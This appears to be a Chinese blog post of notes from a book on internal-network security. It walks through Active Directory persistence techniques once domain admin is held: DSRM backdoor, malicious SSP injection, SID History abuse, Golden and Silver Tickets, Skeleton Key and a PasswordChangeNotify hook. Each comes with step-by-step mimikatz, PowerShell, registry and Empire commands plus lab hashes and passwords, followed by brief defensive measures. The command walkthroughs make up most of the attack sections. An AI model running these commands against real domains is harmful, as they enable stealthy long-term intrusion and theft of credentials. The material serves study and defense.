在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本节将分析攻击者在拥有域管理员权限后将权限持久化的方法,并给出防范措施。

0x00:from

--《内网安全攻防》

0x01:DSRM域后门

1.DSRM 域后门简介

DSRM(Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期, DSRM 的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。

在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为 windows server 2008,需要安装KB961320才可以使用指定域账号的密码对 DSRM 的密码进行同步。在其以后的版本中不需要安装此补丁。如果域控制器的系统版本为windows server 2003,则不能使用该方法进行持久化操作。

我们知道,每个域控制器都有本地管理员账号和密码(与与管理员账号和密码不同)。 DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

2.修改DSRM密码的方法

微软公布了修改DSRM密码的方法,在域控制器上打开命令行环境,常用命令说明如下:

  • NTDSUTIL:打开ntdsutil
  • set dsrm password :设置DSRM的密码
  • reset password on server null:在当前域控制器上恢复DSRM密码。
  • <PASSWORD>:修改后的密码
  • q(第一次):退出DSRM密码设置模式
  • q(第二次):退出ntdsutil

如果域控制器的系统版本为windows server 2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令如下:

  • NTDSUTIL:打开ntdsutil
  • set dsrm password :设置DSRM的密码
  • syncfrom domain account domainusername:使 DSRM 的密码和指定域用户的密码同步
  • q(第一次):退出DSRM密码设置模式
  • q(第二次):退出ntdsutil

3.操作

(1)使用mimikatz查看krbtgt的NTLM Hash

在域控制器中打开mimikatz,分别输入如下命令。krbtgt的NTLM Hash为
ac0adbfa69db45ac85a3cf528b537b2b

privilege::debug
lsadump::lsa /name:krbtgt /inject

(2)使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

在域控制器中打开mimikatz,分别输入如下命令。DSRM账号的NTLM Hash 为328529d6780d3ad9d84f2cdad9ecab19

token::elevate
lsadump::sam

(3)将DSRM账号和krbtgt的NTLM Hash同步

如果出现“Password has been synchronized successfully”或者“已成功同步密码”

则同步成功

如果出现

则需要手动修改一次krbtgt密码才可以

修改密码需要在user中查找kebtgt账户然后右键重置密码。记得将下次登陆修改密码去掉勾选,否则白改,还有一点是 krbtgt密码并不是输入的密码,系统会自动生成与之前你输入的密码无关的强口令。

(4)查看DSRM的NTLM hash是否同步成功

通过mimikatz,得到 DSRM账号的NTLM hash为 ac0adbfa69db45ac85a3cf528b537b2b

(5)修改DSRM的登录方式

在注册表中新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLoginBehavior项。

DSRM的三种登录方式,具体如下

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用 DSRM 管理员账号。
  • 1:只有当本地AD、DS服务停止时,才可以使用 DSRM 管理员账号登陆域控制器
  • 2:在任何情况下,都可以使用 DSRM 管理员账号登陆域控制器。

在渗透测试中需要注意,在windows server2000 以后版本的操作系统中,对DSRM使用控制台登陆域控制器进行了限制。

如果要使用DSRM账号通过网络登陆域控制器,需要将该值设置为2.输入以下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

(6)使用DSRM账号通过网络远程登陆域控制器

使用mimikatz进行哈希传递。在域成员机器的管理员模式下打开mimikatz,输入以下命令

privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:ac0adbfa69db45ac85a3cf528b537b2b

(7)使用mimikatz的dcysnc功能远程转储krbtgt的NTLM Hash

哈希传递完成后,会弹出一个命令行窗口。在该窗口打开mimikatz,输入以下命令使用dcsync功能远程转储散列值

lsadump::dcsync /domain:pureqh.top /dc:dc /user:krbtgt

可以通过弹出的控制台进行操作

也可以执行命令

sekurlsa::pth /user:krbtgt /domain:pureqh.top /ntlm:ac0adbfa69db45ac85a3cf528b537b2b /run:\"cmd /c whoami\"

4.DSRM域后门的防御措施

  • 定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLoginBehavior ,确认该键值为1,或者删除该键。
  • 定期修改域中所有域控制器的DSRM账号
  • 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

0x02:SSP维持域控权限

   SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
  SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
   如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。

1.两个实验

实验一:
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

privilege::debug
misc::memssp

注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。type C:\Windows\system32\mimilsa.log

实验二:
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
注意:最后一步修改注册表需要在powershell中操作,cmd下会报错。

查看添加的注册表

系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。

2.SSP维持域控制器权限的防御措施

  • 检查 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Lsa/Security Packages 项中是否有可疑的dll文件。
  • 检查C:\windows\system32\目录下是否有可疑的DLL文件
  • 使用第三方工具检查LSA中是否有可以的DLL文件

0x03:SID History域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History 是在域迁移过程中需要使用的一个属性。

如果A域中的域用户迁移到B域中,那么在B域中的新建用户的SID会随之改变,进而影响迁移后的用户权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后的用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能访问其原来可以访问的资源。在渗透测试中,如果获得了域管理员权限,就可以将SID History作为持久化的方法。

1.实验

将Administrator的SID添加到恶意用户testuser的SID History属性中。

使用PowerShell查看test用户的 SID History 属性。

打开一个具有域管理员权限的命令行窗口,然后打开mimikatz,将Administrator的SID添加到test用户的 SID History 属性中,需要注意的是:在使用mimikatz注入SID之前,需要使用“sid::path”命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的 SID History 属性;mimikatz在2.1版本以后,将misc::addsid模块转移到了sid::add模块下。

再次使用PowerShell查看testuser用户的 SID History

使用testuser用户登陆系统,测试是否具有administrator的权限。尝试列出域控制器c盘的目录

可见testuser已经具有了域控制器的权限。

2.SID History域后门的防御措施

在给出具体的防御措施之前,我们分析一下SID History 域后门的特点。

  • 在控制域控制器后,可以通过注入 SID History 属性完成持久化任务
  • 拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit
  • 如果不再需要通过 SID History 属性实现持久化,可以在mimikatz中执行命令"sid::clear /sam:username" ,清除 SID History 属性

SID History 域后门的防御措施如下

  • 经常查看域用户中SID为500的用户
  • 完成域迁移工作后,对相同 SID History 属性的用户进行检查
  • 定期检查ID为4765和4766的日志。4765为 SID History 属性添加到用户的日志。4766为将 SID History 属性添加到用户失败的日志。

0x04:Golden Ticket(黄金票据)

在渗透测试过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就能快速重新拿回域控制器权限。

在下面的实验中,假设域内存在一个SID为502的域账号 krbtgt (默认SID为502)。 krbtgt 是KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账户的票据都是由 krbtgt 生成的,如果攻击者拿到了 krbtgt 的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

攻击者在使用域的Golden Ticket进行票据传递攻击时,往往需要掌握以下信息。

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash或AES-256值

实验环境

域控制器:

  • IP地址:192.168.1.1
  • 域名:pureqh.top
  • 用户名:administrator
  • 密码:admin@123

域成员服务器:

  • IP地址:192.168.1.2
  • 域名:pureqh.top
  • 用户名:test
  • 密码:admin@888

1.导出krbtgt的NTLM Hash

打开命令行,输入以下命令

lsadump::dcsync /domain:pureqh.top /user:krbtgt

该方法使用mimikatz工具的dcsync功能远程转储活动目录中的ntds.dit。指定 /user参数,可以只导出krbtgt账号的信息。

2.获取基本信息

(1)获取域SID

在命令行输入以下命令,查询SID

wmic useraccount get name,sid

采用这种方法,可以以普通域用户权限获取域内所有用户的SID。可以看到,pureqh.top域的SID为S-1-5-21-2088958248-1083709086-4128711003

(2)获取当前用户的SID

输入如下命令,获取当前用户的SID

whoami /user

(3)查询域管理员账号

输入如下命令,查询域管理员账号

net group "domain admins" /domain

(4)查询域名

在命令行环境中输入如下命令,查询域名

ipconfig /all

3.实验操作

在获取目标主机的权限后,查看当前用户及其所属的组。

net user test /domain

使用管理员权限打开命令提示符,输入命令 “dir \\dc\c$”,在注入票据前将返回提示信息“Access is denied/拒绝访问”(表示权限不足)。

(1)清空票据

在mimikatz中输入如下命令,当前会话中的票据已被清空

kerberos::purge

(2)生成票据(此命令需要管理员权限

输入如下命令,使用mimikatz生成包含krbtgt身份的票据

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /ticket:Administrator.kiribi

命令执行后会提示保存成功。此时,会在本地目录下生成一个名为“Administrator.kiribi”的文件

(3)传递票据并注入内存(此命令需要管理员权限

输入如下命令,将Administrator.kiribi票据注入内存

kerberos::ptt Administrator.kiribi

(4)直接将票据传递到内存

经测试,mimikatz生成.kiribi文件需要管理员权限。也可以直接将票据写入内存。

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /user:test /ptt

(5)检索当前会话中的票据

输入如下命令,刚刚注入的票据就出现在当前会话中了

kerberos::tgt

4.验证权限

我们已经分析了将票据注入内存的过程。接下来,退出mimikatz,验证实验伪造的身份是否已经得到了域控制器权限。

退出mimikatz,在当前命令行输入“dir \\dc\c$”,如果想另外打开新的命令行需要管理员权限

可以看到:在将票据注入内存之前,系统提示权限不足;在将票据注入后,列出了域控制器C盘的目录,表示身份伪造成功。

在当前会话中输入如下命令,使用wmiexec.vbs进行验证。

cscript wmiexec.vbs /shell dc

使用krbtgt的AES-256值生成票据并将其注入内存,也可以伪造用户。在之前导出的krbtgt信息中,AES-256值为82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5,输入如下命令。使用mimikatz生成一张票据

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /aes256:82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5 /ticket:Administrator.kiribi

其他操作与上面利用NTLM Hash一致

kerberos::ptt Administrator.kiribi
kerberos::tgt

5.Golden Ticket攻击的防御措施

管理员通常会修改域管理员的密码,但是有时会忘记将krbtgt密码也一起重置,所以,如果想防御黄金票据攻击,就需要将krbtgt密码重置两次。

使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在)。因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的被加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有如下两种情况才可以修改krbtgt密码。

  • 域功能级别从 win2000或win server 2003提升为win server 2008或win server 2012.在提升域功能的过程中,krbtgt的密码会被自动修改。在大型企业中,域功能级别的提升费时费力,绝大多数企业不会提升自己的域功能级别,这就给Golden Ticket攻击留下了可乘之机。
  • 域管理员用户自行修改

0x05:Silver Ticket(白银票据)

Silver Ticket(白银票据)不同于Golden Ticket。 Silver Ticket 的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket 在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行验证。

Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号的密码散列值,因此更加隐蔽。

黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,例如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。黄金票据是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。

攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息。

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名

1.实验:使用Silver Ticket伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

在本实验中,首先使用当前域用户权限,查询对域控制器的共享目录的访问权限。

在域控制器中输入如下命令,使用mimikatz获取服务账号的NTLM Hash

使用log参数以便复制散列值
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

注意,这里使用的是共享服务账号,所以使用的是DC$而非administrator

我们继续获取其他信息

domain:pureqh.top
SID:S-1-5-21-2088958248-1083709086-4128711003

然后,在命令行环境下输入如下命令,清空当前系统中的票据和域成员的票据,防止其他票据干扰。

klist purge

kerberos::purge

使用mimikatz生成伪造的 Silver Ticket ,在之前不能访问域控制器共享目录的机器输入如下命令。

kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt

kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:cifs /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt

再次验证权限,发现已经可以访问域控制器的共享目录了,这说明票据已生效。

2.实验:使用Silver Ticket 伪造LDAP服务器

在本实验中,使用dcsync从域控制器中获取指定用户的账号和密码散列,如krbtgt

输入如下命令,测试以当前权限是否可以使用dcsync与域控制器进行同步。

lsadump::dcsync /dc:dc.pureqh.top /domain:pureqh.top /user:krbtgt

向域控制器获取krbtgt的密码散列值失败,说明以当前权限不能进行dcsync操作。

输入如下命令,在域控制器中使用mimikatz获取服务账号的NTLM Hash

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

此图像的alt属性为空;文件名为image-41.png

同样使用的是 共享服务账号 dc$

然后,清除当前系统中的票据和域成员机的票据,防止其他票据对实验结果造成干扰。

klist purge

kerberos::purge

使用mimikatz生成伪造的silver Ticket ,在之前不能使用dcsync从域控制器获取krbtgt密码散列值的机器输入如下命令。

kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:LDAP /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt

输入以下命令,使用dcsync在域控制器查询krbtgt的散列

lsadump::dcsync /dc:dc.pureqh.top /domain:pureqh.top /user:krbtgt

silver Ticket 还可以用于伪造其他服务,例如创建和修改计划任务、使用WMI对远程主机执行命令,使用powershell对远程主机进行管理等

3.Silver Ticket攻击的防御措施

  • 在内网中安装杀毒软件、及时更新系统补丁
  • 使用软件或者配置,限制mimikatz在网络中的使用
  • 计算机的账号密码每30天更改一次。检查设置是否生效

0x06:Skeleton Key

使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。

在本节的实验中,分别使用mimikatz和Empire完成注入Skeleton Key的操作。将Skeleton Key注入域控制器的lsass.exe进程,分析其使用方法,找出相应的防御措施。

实验环境

远程系统

  • 域名:pureqh.top

域控制器

  • 主机名:DC
  • IP地址:192.168.1.1
  • 用户名:administrator
  • 密码:admin@123

域成员服务器

  • 主机名:win-2008
  • IP地址:192.168.1.2
  • 用户名:test
  • 密码:admin@888

1.实验:在mimikatz中使用Skeleton Key

尝试以当前登录用户身份列出域控制器C盘共享目录中的文件。

dir \\dc\c$

由于此时使用的是一个普通域用户身份,所以权限不足拒绝访问。

输入如下命令,使用域管理员账号和密码进行连接

net use \\DC\ipc$ "admin@123" /user:pureqh\administrator

连接成功,列出域控制器C盘的共享目录

在域控制器中以管理员权限打开mimikatz,分别输入如下命令,将Skeleton Key注入域控制器的lsass.exe进程。

privilege::debug //提示权限
misc::skeleton //注入Skeleton Key

系统提示 Skeleton Key 已经注入成功。此时,会在域内的所有账号中添加一个 Skeleton Key ,其密码默认为“mimikatz” 。接下来,就可以以域内任意用户的身份,配合该 Skeleton Key ,进行域内身份授权验证了。

在不使用与管理员原始密码的情况下,使用注入的 Skeleton Key ,同样可以连接系统。在命令行环境中输入如下命令,将之前的ipc$连接删除。

net use //查看现有ipc$
net use \\dc\ipc$ /del /y //将之前建立的ipc$删除

使用如下命令,使用域管理员账号和 Skeleton Key 与域控制器建立ipc$

net use \\dc\ipc$ "mimikatz" /user:pureqh\administrator

可以看到,已经与域控制器建立了连接,尝试列出域控制器c盘文件,万能密码会在域控制器重启后失效,因为 Skeleton Key 是依附于lsass.exe进程的

2.实验:在empire中使用 Skeleton Key

进入empire环境,在成功反弹一个empire的agent之后,使用interact命令进入该agent并输入“usemodule”命令,加载skeleton_keys模块。该模块通过PowerSploit的Invoke-Mimikatz.ps1脚本,在加载mimikatz之后,使用PowerShell版的mimikatz中的misc::skeleton命令,将 Skeleton Key 注入域控制器的lsass.exe进程。依次输入如下命令。

interact G8PV6U3E
usemodule persistence/misc/skeleton_key*
execute

将 skeleton_key 注入后,Empire提示可以使用密码“mimikatz”进入系统。

3.Skeleton Key 攻击的防御措施

2014年,微软在windows操作系统中增加了LSA保护策略,以防止lsass.exe进程被恶意注入,从而防止mimikatz在非允许的情况下提升到Debug权限。

比如没有管理员权限无法提升到debug权限

防御措施如下:

  • 域管理员要设置强口令,确保恶意代码不会在域控制器中执行。
  • 在所有域用户中启用双因子认证
  • 启动应用程序白名单(如AppLocker),以限制mimikatz在域控制器中的运行。

在日常网络维护中注意以下方面,也能有效防范 Skeleton Key

  • 向域控制器注入 Skeleton Key 的方法,只能在64位操作系统中使用,包括win server 2012 R2 、win server 2012、win server 2008、win server 2008 R2、win server 2003 R2、win server 2003
  • Skeleton Key 被注入后,用户现有密码依然可以登陆系统
  • 因为 Skeleton Key 是被注入到lsass.exe进程的,所以它只存在于内存中。如果域控制器重启,注入的 Skeleton Key 将会失效。

0x07:Hook PasswordChangeNotify

Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。

在修改密码时,用户输入新密码后,LSA会调用PasswordFileter来检查改密码是否符合复杂性要求。如果密码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码。

1.实验操作

分别输入如下命令,使用Invoke-ReflectivePEInjection.ps1将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的PowerShell。

  • Set-ExecutionPolicy bypass
  • Import-Module .\Invoke-ReflectivePEInjection.ps1
  • Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

修改密码后,查看c:\windows\temp\passwords.txt可以看见修改的账号密码信息。

2.Hook PasswordChangeNotify的防御

使用 Hook PasswordChangeNotify 方法不需要重启系统、不会在系统磁盘留下dll文件、不需要修改注册表。如果 PasswordChangeNotify 被利用,管理员是很难检测到的。所以要对powershell进行严格的监视,并启用约束语言模式,对 Hook PasswordChangeNotify进行防御

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注